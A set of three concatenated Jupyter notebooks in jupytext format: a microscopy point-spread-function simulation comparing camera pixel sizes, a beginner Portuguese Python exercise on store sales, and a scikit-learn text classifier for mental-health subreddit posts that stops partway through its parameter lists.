num_pixels = 10
# gamma for display
gam = 0.3
# set up the figure
fig, axs_total = plt.subplots(3, 3, dpi=150, figsize=(9,9), gridspec_kw=dict(hspace=0.1, wspace=0.1))
# rows will be for different camera pixel sizes, the camera pixel size = subsample / 8 * Nyquist
for axs, subsample in zip(axs_total, (4, 8, 16)):
# for display zoom in
offset = (len(psf.PSFi.squeeze()) - num_pixels * subsample) // 2
# show the original data, shifted such that the max is at the center of the
# camera ROI
axs[0].matshow(psf.PSFi.squeeze()[offset-subsample//2:-offset-subsample//2, offset-subsample//2:-offset-subsample//2],
norm=mpl.colors.PowerNorm(gam))
# Use the convolution to shift the data so that the max is centered on camera ROI
origin_shift = subsample // 2 - 1
exact = ndi.uniform_filter(psf.PSFi[0], subsample, origin=origin_shift)
# Show convolved data
axs[1].matshow(exact[offset:-offset, offset:-offset], norm=mpl.colors.PowerNorm(gam))
for ax in axs[:2]:
ax.xaxis.set_major_locator(plt.FixedLocator(np.arange(0, offset, subsample) - 0.5))
ax.yaxis.set_major_locator(plt.FixedLocator(np.arange(0, offset, subsample) - 0.5))
# integrate across pixel
exact_subsample = bin_ndarray(exact, bin_size=subsample, operation="sum")
# Display final camera pixels
offset_sub = offset//subsample
ax = axs[-1]
ax.matshow(exact_subsample[offset_sub:-offset_sub, offset_sub:-offset_sub], norm=mpl.colors.PowerNorm(gam))
ax.xaxis.set_major_locator(plt.FixedLocator(np.arange(0, offset_sub) - 0.5))
ax.yaxis.set_major_locator(plt.FixedLocator(np.arange(0, offset_sub) - 0.5))
# clean up plot
for ax in axs:
ax.xaxis.set_major_formatter(plt.NullFormatter())
ax.yaxis.set_major_formatter(plt.NullFormatter())
ax.tick_params(length=0)
ax.grid(True)
# label
axs_total[0, 0].set_title("Intensity Incident on Camera\n($\\frac{1}{8}$ Nyquist Simulation)")
axs_total[0, 1].set_title("Convolution with\nCamera Pixel Function")
axs_total[0, 2].set_title("Integration to Final\nCamera Pixel Intensity")
axs_total[0, 0].set_ylabel(r"$\frac{1}{2}\times$ Nyquist Camera Pixel Size")
axs_total[1, 0].set_ylabel(r"$1\times$ Nyquist Camera Pixel Size")
axs_total[2, 0].set_ylabel(r"$2\times$ Nyquist Camera Pixel Size");
# -
# The above figure shows each of the three steps (columns) for three different camera pixels sizes (rows). Gray lines indicate the final camera pixel grid. It's clear that the convolution has an effect on camera pixel sizes larger than Nyquist. Considering that we usually ask microscopists to image at Nyquist and therefore we usually model PSFs at Nyquist a natural question is: how different are the higher resolution calculations (such as in the figure above) from simulating directly with Nyquist sized camera pixels? Furthermore, when simulating PSFs for camera pixels that are larger than Nyquist, how important is the convolution operation (step 2)?
#
# It's safe to assume that the area with the highest resolution will be most effected and thus we can limit our investigations to the 2D infocus PSF.
# + jupyter={"source_hidden": true}
# keep our original parameters safe
psf_params_wf = psf_params.copy()
# + jupyter={"source_hidden": true}
# for each camera pixel size we want to show 10 camera pixels worth of the intensity
num_pixels = 64
# set up the figure
fig, axs_total = plt.subplots(3, 4, dpi=150, figsize=(9.25, 9),
gridspec_kw=dict(hspace=0.1, wspace=0.1, width_ratios=(1, 1, 1, 1 / 12)))
# rows will be for different camera pixel sizes, the camera pixel size = subsample / 8 * Nyquist
for axs, subsample in zip(axs_total, (2, 4, 8)):
# for display zoom in
offset = (len(psf.PSFi.squeeze()) - num_pixels) // 2
# show the original data, shifted such that the max is at the center of the
# camera ROI
# axs[0].matshow(psf.PSFi.squeeze()[offset-subsample//2:-offset-subsample//2, offset-subsample//2:-offset-subsample//2],
# norm=mpl.colors.PowerNorm(gam))
# Use the convolution to shift the data so that the max is centered on camera ROI
origin_shift = subsample // 2 - 1
exact = ndi.uniform_filter(psf.PSFi[0], subsample, origin=origin_shift)
# Show convolved data
# axs[1].matshow(exact[offset:-offset, offset:-offset], norm=mpl.colors.PowerNorm(gam))
# integrate across pixel
exact_subsample = bin_ndarray(exact, bin_size=subsample, operation="sum")
exact_subsample /= exact_subsample.max()
# Display final camera pixels
offset_sub = offset//subsample
axs[0].matshow(exact_subsample[offset_sub:-offset_sub, offset_sub:-offset_sub], norm=mpl.colors.PowerNorm(gam))
# Directly simulate at Nyquist
psf_params_wf['res'] = psf_params['res'] * subsample
psf_params_wf['size'] = psf_params['size'] // subsample
low_res = HanserPSF(**psf_params_wf).PSFi.squeeze()
low_res /= low_res.max()
# display direct simulation
axs[1].matshow(low_res[offset_sub:-offset_sub, offset_sub:-offset_sub], norm=mpl.colors.PowerNorm(gam))
# Calculate percent of max difference and display
difference = (exact_subsample - low_res)
im = axs[2].matshow(difference[offset_sub:-offset_sub, offset_sub:-offset_sub] * 100, cmap="viridis")
plt.colorbar(im, ax=axs[2], cax=axs[3])
# clean up plot
for ax in axs[:3]:
ax.xaxis.set_major_locator(plt.NullLocator())
ax.yaxis.set_major_locator(plt.NullLocator())
# label
axs_total[0, 0].set_title("Integration to Final\nCamera Pixel Intensity")
axs_total[0, 1].set_title("Intensity Incident on Camera\n(Nyquist Simulation)")
axs_total[0, 2].set_title("Difference (%)")
axs_total[0, 0].set_ylabel(r"$\frac{1}{4}\times$ Nyquist Camera Pixel Size")
axs_total[1, 0].set_ylabel(r"$\frac{1}{2}\times$ Nyquist Camera Pixel Size")
axs_total[2, 0].set_ylabel(r"$1\times$ Nyquist Camera Pixel Size");
# -
# Presented in the figure above is a comparison of the "exact" simulation (first column) to the "direct" simulation (second column), the difference is shown in the third column. As expected smaller camera pixels result in smaller the differences between the "exact" and "direct" calculations. But even at it's worst (i.e. Nyquist sampling on the camera) the maximum deviation is about 7% of the peak PSF intensity.
#
# Of course, we know that single numbers are no way to evaluate resolution, or the loss thereof. Therefore we'll take a look in frequency space.
# + jupyter={"source_hidden": true}
from pyotf.utils import easy_fft
from dphtools.utils import radial_profile
# + jupyter={"source_hidden": true}
fig, ax = plt.subplots(figsize=(4,4), dpi=150)
k_pixel_size = 2 / psf_params_wf["res"] / len(exact_subsample)
abbe_limit = 1 / nyquist_sampling / k_pixel_size
for l, d in zip(("Exact", "Direct"), (exact_subsample, low_res)):
o = abs(easy_fft(d))
ro = radial_profile(o)[0]
ax.plot(np.arange(len(ro)) / abbe_limit * 2, ro, label=l)
ax.legend()
ax.set_xlabel("Spatial Frequency")
ax.set_ylabel("Intensity")
ax.set_xlim(0, 2.6)
ax.set_ylim(0)
ax.yaxis.set_major_locator(plt.NullLocator())
ax.xaxis.set_major_locator(plt.MultipleLocator(1 / 2))
def formatter(x, pos):
if x == 0:
return 0
if x / 0.5 % 2:
x = int(x) * 2 + 1
if x == 1:
x = ""
return r"$\frac{{{}NA}}{{2\lambda}}$".format(x)
elif int(x):
x = int(x)
if x == 1:
x = ""
return r"$\frac{{{}NA}}{{\lambda}}$".format(x)
return r"$\frac{NA}{\lambda}$"
ax.xaxis.set_major_formatter(plt.FuncFormatter(formatter))
# -
# We see (figure above) that the exact simulation, which includes convolution and then integration, redistributes the OTF support slightly towards the DC component, which makes sense as both convolution and integration will blur high frequency information. Note that the OTF cutoff remains nearly the same in both cases: $2 NA / \lambda$.
#
# What about PSFs for large camera pixels? We follow the exact same procedure as above.
# + jupyter={"source_hidden": true}
# for each camera pixel size we want to show 10 camera pixels worth of the intensity
num_pixels = len(psf.PSFi.squeeze())
# Directly simulate at Nyquist
psf_params_wf['res'] = psf_params['res'] * oversample_factor
psf_params_wf['size'] = psf_params['size'] // oversample_factor
low_res = HanserPSF(**psf_params_wf).PSFi.squeeze()
# set up the figure
fig, axs_total = plt.subplots(3, 4, dpi=150, figsize=(9.25,9),
gridspec_kw=dict(hspace=0.1, wspace=0.1, width_ratios=(1, 1, 1, 1 / 12)))
# rows will be for different camera pixel sizes, the camera pixel size = subsample / 8 * Nyquist
for axs, subsample in zip(axs_total[::-1], (8, 4, 2)):
subsample2 = oversample_factor * subsample
# for display zoom in
offset = (len(psf.PSFi.squeeze()) - num_pixels) // 2
# show the original data, shifted such that the max is at the center of the
# camera ROI
# axs[0].matshow(psf.PSFi.squeeze(), norm=mpl.colors.PowerNorm(gam))
# Use the convolution to shift the data so that the max is centered on camera ROI
origin_shift2 = subsample2 // 2 - 1
exact = ndi.uniform_filter(psf.PSFi[0], subsample2, origin=origin_shift2)
# Show convolved data
# axs[1].matshow(exact, norm=mpl.colors.PowerNorm(gam))
# integrate across pixel
exact_subsample = bin_ndarray(exact, bin_size=subsample2, operation="sum")
exact_subsample /= exact_subsample.max()
# Display final camera pixels
offset_sub = offset//subsample2
axs[0].matshow(exact_subsample, norm=mpl.colors.PowerNorm(gam))
origin_shift = subsample // 2 - 1
exact_low_res = ndi.uniform_filter(low_res, subsample, origin=origin_shift)
exact_low_res_subsample = bin_ndarray(exact_low_res, bin_size=subsample, operation="sum")
exact_low_res_subsample /= exact_low_res_subsample.max()
low_res_subsample = bin_ndarray(low_res, bin_size=subsample, operation="sum")
low_res_subsample /= low_res_subsample.max()
# display direct simulation
axs[1].matshow(exact_low_res_subsample, norm=mpl.colors.PowerNorm(gam))
# Calculate percent of max difference and display
difference = (exact_subsample - exact_low_res_subsample)
im = axs[2].matshow(difference * 100, cmap="viridis")
plt.colorbar(im, ax=axs[2], cax=axs[3])
# clean up plot
for ax in axs[:3]:
ax.xaxis.set_major_locator(plt.NullLocator())
ax.yaxis.set_major_locator(plt.NullLocator())
# label
axs_total[0, 0].set_title(r"$\frac{1}{8}\times$" + "Nyquist Simulation\nwith Convolution")
axs_total[0, 1].set_title(r"$1\times$ " + "Nyquist Simulation\nwith Convolution")
axs_total[0, 2].set_title("Difference (%)")
axs_total[0, 0].set_ylabel(r"$2\times$ Nyquist Camera Pixel Size")
axs_total[1, 0].set_ylabel(r"$4\times$ Nyquist Camera Pixel Size")
axs_total[2, 0].set_ylabel(r"$8\times$ Nyquist Camera Pixel Size");
# -
# As expected, the larger the final camera pixel size the smaller the relative difference in simulation pixel size and thus the smaller the difference in the simulations. Now for the question of whether the convolution step is even necessary when looking at camera pixels larger than Nyquist.
#
# First note that without convolution to redistribute the intensity before integration (a kind of interpolation) we won't have a symmetric PSF using an even shaped camera pixel (relative to the simulation pixels). So instead of looking at 2x, 4x, and 8x camera pixel sizes like we've been doing above we'll use odd sizes of 3x, 5x and 9x. As a sanity check let's look at the difference between the two methods with no convolution step for either. The result is a measure of the integration error between a finer and coarser integration grid.
# + jupyter={"source_hidden": true}
# set up the figure
fig, axs_total = plt.subplots(3, 4, dpi=150, figsize=(9.25,9),
gridspec_kw=dict(hspace=0.1, wspace=0.1, width_ratios=(1, 1, 1, 1 / 12)))
# rows will be for different camera pixel sizes, the camera pixel size = subsample / 8 * Nyquist
for axs, subsample in zip(axs_total[::-1], (9, 5, 3)):
# Directly simulate at Nyquist
psf_params_wf['res'] = psf_params['res'] * oversample_factor
c = np.log2(subsample) % 2
if c < 1:
c = 1
else:
c = -1
psf_params_wf['size'] = psf_params['size'] // oversample_factor + c
low_res = HanserPSF(**psf_params_wf).PSFi.squeeze()
subsample2 = oversample_factor * subsample
# Use the convolution to shift the data so that the max is centered on camera ROI
shift = len(psf.PSFi[0])%subsample + 1
shifted = psf.PSFi[0, shift:, shift:]
exact = ndi.uniform_filter(shifted, subsample2)
# integrate across pixel
exact_subsample = bin_ndarray(shifted, bin_size=subsample2, operation="sum")
exact_subsample /= exact_subsample.max()
# Display final camera pixels
offset_sub = offset//subsample2
axs[0].matshow(exact_subsample, norm=mpl.colors.PowerNorm(gam))
exact_low_res = ndi.uniform_filter(low_res, subsample)
exact_low_res_subsample = bin_ndarray(exact_low_res, bin_size=subsample, operation="sum")
exact_low_res_subsample /= exact_low_res_subsample.max()
low_res_subsample = bin_ndarray(low_res, bin_size=subsample)
low_res_subsample /= low_res_subsample.max()
# display direct simulation
axs[1].matshow(low_res_subsample, norm=mpl.colors.PowerNorm(gam))
# Calculate percent of max difference and display
lexact = len(exact_subsample)
llow = len(low_res_subsample)
if lexact <= llow:
difference = (exact_subsample - low_res_subsample[:lexact, :lexact])
else:
difference = (exact_subsample - low_res_subsample[:llow, :llow])
im = axs[2].matshow(difference * 100, cmap="viridis")
plt.colorbar(im, ax=axs[2], cax=axs[3])
# clean up plot
for ax in axs[:3]:
ax.xaxis.set_major_locator(plt.NullLocator())
ax.yaxis.set_major_locator(plt.NullLocator())
# label
axs_total[0, 0].set_title(r"$\frac{1}{8}\times$" + "Nyquist Simulation\nwithout Convolution")
axs_total[0, 1].set_title(r"$1\times$ " + "Nyquist Simulation\nwithout Convolution")
axs_total[0, 2].set_title("Difference (%)")
axs_total[0, 0].set_ylabel(r"$3\times$ Nyquist Camera Pixel Size")
axs_total[1, 0].set_ylabel(r"$5\times$ Nyquist Camera Pixel Size")
axs_total[2, 0].set_ylabel(r"$9\times$ Nyquist Camera Pixel Size");
# -
# As expected the integration error decreases with increasing camera pixel size. Now to test the effect of convolution on the process.
# + jupyter={"source_hidden": true}
# set up the figure
fig, axs_total = plt.subplots(3, 4, dpi=150, figsize=(9.25,9),
gridspec_kw=dict(hspace=0.1, wspace=0.1, width_ratios=(1, 1, 1, 1 / 12)))
# rows will be for different camera pixel sizes, the camera pixel size = subsample / 8 * Nyquist
for axs, subsample in zip(axs_total[::-1], (9, 5, 3)):
# Directly simulate at Nyquist
psf_params_wf['res'] = psf_params['res'] * oversample_factor
c = np.log2(subsample) % 2
if c < 1:
c = 1
else:
c = -1
psf_params_wf['size'] = psf_params['size'] // oversample_factor + c
low_res = HanserPSF(**psf_params_wf).PSFi.squeeze()
subsample2 = oversample_factor * subsample
# Use the convolution to shift the data so that the max is centered on camera ROI
shift = len(psf.PSFi[0])%subsample + 1
shifted = psf.PSFi[0, shift:, shift:]
exact = ndi.uniform_filter(shifted, subsample2)
# integrate across pixel
exact_subsample = bin_ndarray(exact, bin_size=subsample2, operation="sum")
exact_subsample /= exact_subsample.max()
# Display final camera pixels
offset_sub = offset//subsample2
axs[0].matshow(exact_subsample, norm=mpl.colors.PowerNorm(gam))
exact_low_res = ndi.uniform_filter(low_res, subsample)
exact_low_res_subsample = bin_ndarray(exact_low_res, bin_size=subsample, operation="sum")
exact_low_res_subsample /= exact_low_res_subsample.max()
low_res_subsample = bin_ndarray(low_res, bin_size=subsample)
low_res_subsample /= low_res_subsample.max()
# display direct simulation
axs[1].matshow(low_res_subsample, norm=mpl.colors.PowerNorm(gam))
# Calculate percent of max difference and display
lexact = len(exact_subsample)
llow = len(low_res_subsample)
if lexact <= llow:
difference = (exact_subsample - low_res_subsample[:lexact, :lexact])
else:
difference = (exact_subsample - low_res_subsample[:llow, :llow])
im = axs[2].matshow(difference * 100, cmap="viridis")
plt.colorbar(im, ax=axs[2], cax=axs[3])
# clean up plot
for ax in axs[:3]:
ax.xaxis.set_major_locator(plt.NullLocator())
ax.yaxis.set_major_locator(plt.NullLocator())
# label
axs_total[0, 0].set_title(r"$\frac{1}{8}\times$" + "Nyquist Simulation\nwith Convolution")
axs_total[0, 1].set_title(r"$1\times$ " + "Nyquist Simulation\nwithout Convolution")
axs_total[0, 2].set_title("Difference (%)")
axs_total[0, 0].set_ylabel(r"$3\times$ Nyquist Camera Pixel Size")
axs_total[1, 0].set_ylabel(r"$5\times$ Nyquist Camera Pixel Size")
axs_total[2, 0].set_ylabel(r"$9\times$ Nyquist Camera Pixel Size");
# -
# Clearly there's quite a bit of error, up to ~20% of the max value in the worst case. Again we see a decrease in error with increasing camera pixel size. Now turning to the more informative frequency space representation for the 3X Nyquist camera pixels.
# + jupyter={"source_hidden": true}
fig, ax = plt.subplots(figsize=(4,4), dpi=150)
k_pixel_size = 2 / psf_params_wf["res"] / len(exact_subsample) / subsample
abbe_limit = 1 / nyquist_sampling / k_pixel_size
for l, d in zip(("Exact", "Direct with Convolution", "Direct"), (exact_subsample, exact_low_res_subsample, low_res_subsample)):
o = abs(easy_fft(d))
ro = radial_profile(o)[0]
ax.plot(np.arange(len(ro)) / abbe_limit * 2, ro, label=l)
ax.legend()
ax.set_xlabel("Spatial Frequency")
ax.set_ylabel("Intensity")
ax.set_xlim(0, 2.6)
ax.set_ylim(0)
ax.yaxis.set_major_locator(plt.NullLocator())
ax.xaxis.set_major_locator(plt.MultipleLocator(1 / 2))
ax.xaxis.set_major_formatter(plt.FuncFormatter(formatter))
# -
# This is more concerning: if we use convolution our "direct" simulation is reasonably accurate, if we don't the roll-off in transmittence of spatial frequencies is unphysical. If you were to use the "direct" simulation without convolution you might be lead to believe that you could resolve higher frequency information than you could in reality.
| notebooks/Microscope Imaging Models/Epi with Camera.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Exercícios do Módulo 1 - Operações, Variáveis e Input
# ### Parte 1 - Operações e Variáveis
# Crie um programa que imprima (print) os principais indicadores da loja Hashtag&Drink no último ano.
# Obs: faça tudo usando variáveis.
#
# Valores do último ano:
#
# Quantidade de Vendas de Coca = 150<br>
# Quantidade de Vendas de Pepsi = 130<br>
# Preço Unitário da Coca = 1,50 <br>
# Preço Unitário da Pepsi = 1,50<br>
# Custo da Loja: 2.500,00
#
# Use o bloco abaixo para criar todas as variáveis que precisar.
# +
qnt_coca = 150
qnt_pepsi = 130
preco_coca = 1.5
preco_pepsi = 1.5
custo = 2500.00
print(qnt_coca , qnt_pepsi , preco_coca , preco_pepsi , custo)
# -
# 1. Qual foi o faturamento de Pepsi da Loja?
# +
faturamento_pepsi = qnt_pepsi * preco_pepsi
print(faturamento_pepsi)
# -
# 2. Qual foi o faturamento de Coca da Loja?
# +
faturamento_coca = qnt_coca * preco_coca
print(faturamento_coca)
# -
# 3. Qual foi o Lucro da loja?
# +
faturamento_total = faturamento_coca + faturamento_pepsi
print(faturamento_total)
# -
# 4. Qual foi a Margem da Loja? (Lembre-se, margem = Lucro / Faturamento). Não precisa formatar em percentual
# +
margem = (faturamento_total / custo)
print(margem)
# -
# ### Parte 2 - Inputs e Strings
# A maioria das empresas trabalham com um Código para cada produto que possuem. A Hashtag&Drink, por exemplo, tem mais de 1.000 produtos e possui um código para cada produto.
# Ex: <br>
# Coca -> Código: BEB1300543<br>
# Pepsi -> Código: BEB1300545<br>
# <NAME> -> Código: BAC1546001<br>
# <NAME> -> Código: BAC17675002<br>
#
# Repare que todas as bebidas não alcóolicas tem o início do Código "BEB" e todas as bebidas alcóolicas tem o início do código "BAC".
#
# Crie um programa de consulta de bebida que, dado um código qualquer, identifique se a bebida é alcóolica. O programa deve responder True para bebidas alcóolicas e False para bebidas não alcóolicas. Para inserir um código, use um input.
#
# Dica: Lembre-se do comando in para strings e sempre insira os códigos com letra maiúscula para facilitar.
codigo = input('Digite o Codigo da Bebida(favor usar maiúsculo) : ')
print('BAC' in codigo , 'Bebida Alcóolica')
| Exercicio.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + colab={"base_uri": "https://localhost:8080/", "height": 362} colab_type="code" id="uim4Uu_nIcNW" outputId="c5956387-a7b4-4464-f8fc-a9008d460c7a"
import pandas as pd
pd.set_option('display.max_colwidth', 300)
df = pd.read_csv('subreddits_mental_cleaned.csv')
df.head()
# + colab={"base_uri": "https://localhost:8080/", "height": 328} colab_type="code" id="1Wg4eXnBIcN1" outputId="58caa955-3b44-402d-ccb6-9bb1f8300d4b"
df = df.drop('Unnamed: 0', axis=1)
df.head()
# + colab={"base_uri": "https://localhost:8080/", "height": 345} colab_type="code" id="yng5TzrtIcN-" outputId="16de87a7-46df-402c-d92e-396187804124"
df2 = pd.read_csv('subreddits_mental_cleaned1.csv')
df2.head()
# + colab={"base_uri": "https://localhost:8080/", "height": 328} colab_type="code" id="xhpkC-2jIcOJ" outputId="4cb2d8b0-afae-47b0-98b7-831a8eb71df2"
df2 = df2.drop('Unnamed: 0', axis=1)
df2.head()
# + colab={"base_uri": "https://localhost:8080/", "height": 108} colab_type="code" id="jyK65cJ9IcOS" outputId="db9f124a-9b9f-43d9-b653-8cc064886110"
df.isna().sum()
# + colab={"base_uri": "https://localhost:8080/", "height": 108} colab_type="code" id="YZaePkQ4IcOc" outputId="23d1c176-8532-4646-a778-4bd470c454c5"
df2.isna().sum()
# + colab={"base_uri": "https://localhost:8080/", "height": 108} colab_type="code" id="yywsmTFgIcOn" outputId="e4eba295-17bb-4335-e222-5734df1cbb10"
df = df.dropna(subset=['selftext'])
df.isna().sum()
# + colab={"base_uri": "https://localhost:8080/", "height": 108} colab_type="code" id="fhJ6DZDvIcO1" outputId="6b9f1e04-d723-493f-9093-fe165b537247"
df2 = df2.dropna(subset=['selftext'])
df2.isna().sum()
# + colab={"base_uri": "https://localhost:8080/", "height": 293} colab_type="code" id="gpeCTvifIcPF" outputId="45c52cf2-5180-444b-ef57-89562fce1a1f"
df2.head()
# + colab={"base_uri": "https://localhost:8080/", "height": 328} colab_type="code" id="UgPwSXhgIcPN" outputId="0fc5583b-47ec-49b6-d79c-fbce2ce77f74"
sg = pd.concat([df, df2], ignore_index= "true")
sg.head()
# + colab={"base_uri": "https://localhost:8080/", "height": 275} colab_type="code" id="nTKbK290IcPa" outputId="9e1c3d81-a95a-4764-f2f3-d2aa97f90459"
sg.tail()
# + colab={"base_uri": "https://localhost:8080/", "height": 435} colab_type="code" id="XUqaz2CJIcPi" outputId="321a1cb0-899c-4cc8-fce6-bb93ae40bba7"
sg.subreddit.value_counts()
# + colab={"base_uri": "https://localhost:8080/", "height": 126} colab_type="code" id="bTP5jqawIcPn" outputId="41864f96-3742-4384-aeca-e8ce29f5a081"
sg.subreddit.unique()
# + colab={"base_uri": "https://localhost:8080/", "height": 175} colab_type="code" id="YrYOQ_X-IcPw" outputId="6201e7d9-c141-4a0a-ee17-bc4b7227808c"
import numpy as np
value_counts = sg.subreddit.value_counts() # Specific column
to_remove = value_counts[value_counts < 100].index
sg.subreddit.replace(to_remove, np.nan, inplace=True)
sg.describe()
# + colab={"base_uri": "https://localhost:8080/", "height": 108} colab_type="code" id="1MAXOi1ZIcP8" outputId="a3110c04-0246-415b-8b93-5887f8bd8297"
sg.isna().sum()
# + colab={"base_uri": "https://localhost:8080/", "height": 108} colab_type="code" id="BNVDxXkbIcQF" outputId="7d9c15c2-1357-4ef1-8f93-10a1deae4dd6"
sg = sg.dropna()
sg.isna().sum()
# + colab={"base_uri": "https://localhost:8080/", "height": 380} colab_type="code" id="ItXASCx8IcQY" outputId="4e05640b-893b-4447-ddc0-28cd851546fe"
sg.subreddit.value_counts()
# + colab={"base_uri": "https://localhost:8080/", "height": 35} colab_type="code" id="mssMHcGEIcQk" outputId="f7298fc0-cc0e-48ca-e88f-8203033cce02"
len(sg)
# + colab={"base_uri": "https://localhost:8080/", "height": 35} colab_type="code" id="8BOoZNOhIcQq" outputId="9cb9ed99-c672-469a-e06d-2d20c7a220e2"
# Accuracy if guessing majority class
984/13933
# + colab={"base_uri": "https://localhost:8080/", "height": 345} colab_type="code" id="enZ95rJzIcQy" outputId="24a38c71-578b-46eb-9723-8c1eb68b9d84"
sg['category_id'] = sg['subreddit'].factorize()[0]
sg.head()
# + colab={"base_uri": "https://localhost:8080/", "height": 345} colab_type="code" id="ypb4B8jvIcQ5" outputId="66384b01-3fc7-4781-ec74-58f5decf12da"
sg.sample(5)
# + colab={} colab_type="code" id="Ap9SuBBtIcRF"
from sklearn.model_selection import train_test_split
X = sg.selftext
y = sg.category_id
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)
# + colab={"base_uri": "https://localhost:8080/", "height": 90} colab_type="code" id="Bio3xS5MIcRI" outputId="e112cd87-957a-4d36-e263-391e41e88e4f"
print(X_train.shape)
print(X_test.shape)
print(y_train.shape)
print(y_test.shape)
# + colab={"base_uri": "https://localhost:8080/", "height": 35} colab_type="code" id="UctNc7kLIcRN" outputId="ef689e2b-b1c2-4f6c-e33c-42c37d61175b"
from sklearn.feature_extraction.text import CountVectorizer
count_vect = CountVectorizer()
X_train_counts = count_vect.fit_transform(X_train)
X_train_counts.shape
# + colab={"base_uri": "https://localhost:8080/", "height": 35} colab_type="code" id="68QhB7_WIcRX" outputId="b99fa2a9-1158-43c3-88fb-f3178a800eef"
# TF-IDF: term-frequency times inverse document frequency
from sklearn.feature_extraction.text import TfidfTransformer
tfidf_transformer = TfidfTransformer()
X_train_tfidf = tfidf_transformer.fit_transform(X_train_counts)
X_train_tfidf.shape
# + colab={} colab_type="code" id="yMd7AIyWIcRd"
# Classifier using Naive Bayes
from sklearn.naive_bayes import MultinomialNB
clf = MultinomialNB().fit(X_train_tfidf, y_train)
# + colab={} colab_type="code" id="hpQhnb2UIcRh"
from sklearn.pipeline import Pipeline
text_clf = Pipeline([('vect', CountVectorizer()),
('tfidf', TfidfTransformer()),
('clf', MultinomialNB()),
])
text_clf = text_clf.fit(X_train, y_train)
# + colab={"base_uri": "https://localhost:8080/", "height": 35} colab_type="code" id="g9ne5dK0IcRm" outputId="b6bbd75b-7743-45d1-d885-a48be6815ec5"
import numpy as np
predicted = text_clf.predict(X_test)
np.mean(predicted == y_test)
# + [markdown] colab_type="text" id="aAZtBhaCIcRt"
# Somewhat decent.
# + colab={"base_uri": "https://localhost:8080/", "height": 92} colab_type="code" id="Ru_CWMNcIcRv" outputId="31e9c85f-c788-433a-968c-da16002d0cbe"
# support vector machine classifier
from sklearn.linear_model import SGDClassifier
text_clf_svm = Pipeline([('vect', CountVectorizer()),
('tfidf', TfidfTransformer()),
('clf-svm', SGDClassifier(loss='hinge', penalty='l2',
alpha=1e-3, max_iter=5, tol=None, random_state=42)),
])
_ = text_clf_svm.fit(X_train, y_train)
predicted_svm = text_clf_svm.predict(X_test)
np.mean(predicted_svm == y_test)
# + [markdown] colab_type="text" id="oiEcoYjAIcR3"
# Better.
# + colab={} colab_type="code" id="zofrU1XOIcR4"
# Tuning hyperparameters
from sklearn.model_selection import GridSearchCV
parameters = {'vect__ngram_range': [(1, 1), (1, 2)],
'tfidf__use_idf': (True, False),
'clf__alpha': (1e-2, 1e-3),
}
# + colab={} colab_type="code" id="5EbH3ihyIcSA"
# Grid search with Naive Bayes
gs_clf = GridSearchCV(text_clf, parameters, n_jobs=-1)
# + colab={"base_uri": "https://localhost:8080/", "height": 164} colab_type="code" id="kwPKwurIIcSC" outputId="173af07e-7ffa-4bae-ec29-965d67e036d5"
# %%time
gs_clf = gs_clf.fit(X_train, y_train)
print(gs_clf.best_score_)
gs_clf.best_params_
# + [markdown] colab_type="text" id="JK5NKcjNIcSI"
# Improved from 44% to 54% over Naive Bayes without tuning hyperparameters.
# + colab={} colab_type="code" id="6P4U7JAeIcSJ"
# Grid search with SVM classifier
parameters_svm = {'vect__ngram_range': [(1, 1), (1, 2)],
'tfidf__use_idf': (True, False),
'clf-svm__alpha': (1e-2, 1e-3),
}
gs_clf_svm = GridSearchCV(text_clf_svm, parameters_svm, n_jobs=-1)
# + colab={"base_uri": "https://localhost:8080/", "height": 164} colab_type="code" id="CJAUDWK3IcSP" outputId="8360986a-d435-462f-99d0-e16f233ff1f3"
# %%time
gs_clf_svm = gs_clf_svm.fit(X_train, y_train)
print(gs_clf_svm.best_score_)
gs_clf_svm.best_params_
# + [markdown] colab_type="text" id="yDxnQVa3IcSV"
# The SVM classifier with hypertuning performed about as well as it did without hypertuning: 58% accuracy.
# + colab={"base_uri": "https://localhost:8080/", "height": 53} colab_type="code" id="A7p3vz2OIcSX" outputId="eb591cc5-6fd3-471e-cd65-973e73f9c00a"
import nltk
nltk.download('stopwords')
from nltk.stem.snowball import SnowballStemmer
stemmer = SnowballStemmer("english", ignore_stopwords=True)
class StemmedCountVectorizer(CountVectorizer):
def build_analyzer(self):
analyzer = super(StemmedCountVectorizer, self).build_analyzer()
return lambda doc: ([stemmer.stem(w) for w in analyzer(doc)])
stemmed_count_vect = StemmedCountVectorizer(stop_words='english')
text_mnb_stemmed = Pipeline([('vect', stemmed_count_vect),
('tfidf', TfidfTransformer()),
('mnb', MultinomialNB(fit_prior=False)),
])
# + colab={"base_uri": "https://localhost:8080/", "height": 53} colab_type="code" id="8KhbVXZBIcSc" outputId="2b33d068-579e-40ea-90b7-3574edc3925b"
# %%time
text_mnb_stemmed = text_mnb_stemmed.fit(X_train, y_train)
# + colab={"base_uri": "https://localhost:8080/", "height": 35} colab_type="code" id="ztUPgeoBIcSf" outputId="ee8a7f69-4a7e-43c8-9aca-f963cc66fd8d"
predicted_mnb_stemmed = text_mnb_stemmed.predict(X_test)
np.mean(predicted_mnb_stemmed == y_test)
# + [markdown] colab_type="text" id="ICdbvl5ZIcSi"
# Naive Bayes is about 53% accurate after stemming and removing stop words.
# + colab={} colab_type="code" id="wS9yrewyIcSi"
from sklearn.svm import LinearSVC
from sklearn.linear_model import LogisticRegression
from sklearn.ensemble import RandomForestClassifier
from sklearn.neural_network import MLPClassifier
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import train_test_split
import numpy as np
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.pipeline import Pipeline
# + colab={} colab_type="code" id="yGQj4kIDIcSl"
vectorizers = [
TfidfVectorizer(stop_words='english',
max_features=None),
CountVectorizer(stop_words='english',
max_features=None)
]
classifiers = [
MultinomialNB(),
LinearSVC(),
LogisticRegression(),
RandomForestClassifier()
]
clf_names = [
"Naive Bayes",
"Linear SVC",
"Logistic Regression",
"Random Forest",
]
vect_names = [
"TfidfVectorizer",
"CountVectorizer"
]
clf_params = [
{'vect__ngram_range': [(1, 1), (1, 2)],
'clf__alpha': (1e-2, 1e-3)},
{'vect__ngram_range': [(1, 1), (1, 2)],
'clf__C': (np.logspace(-5, 1, 5))},
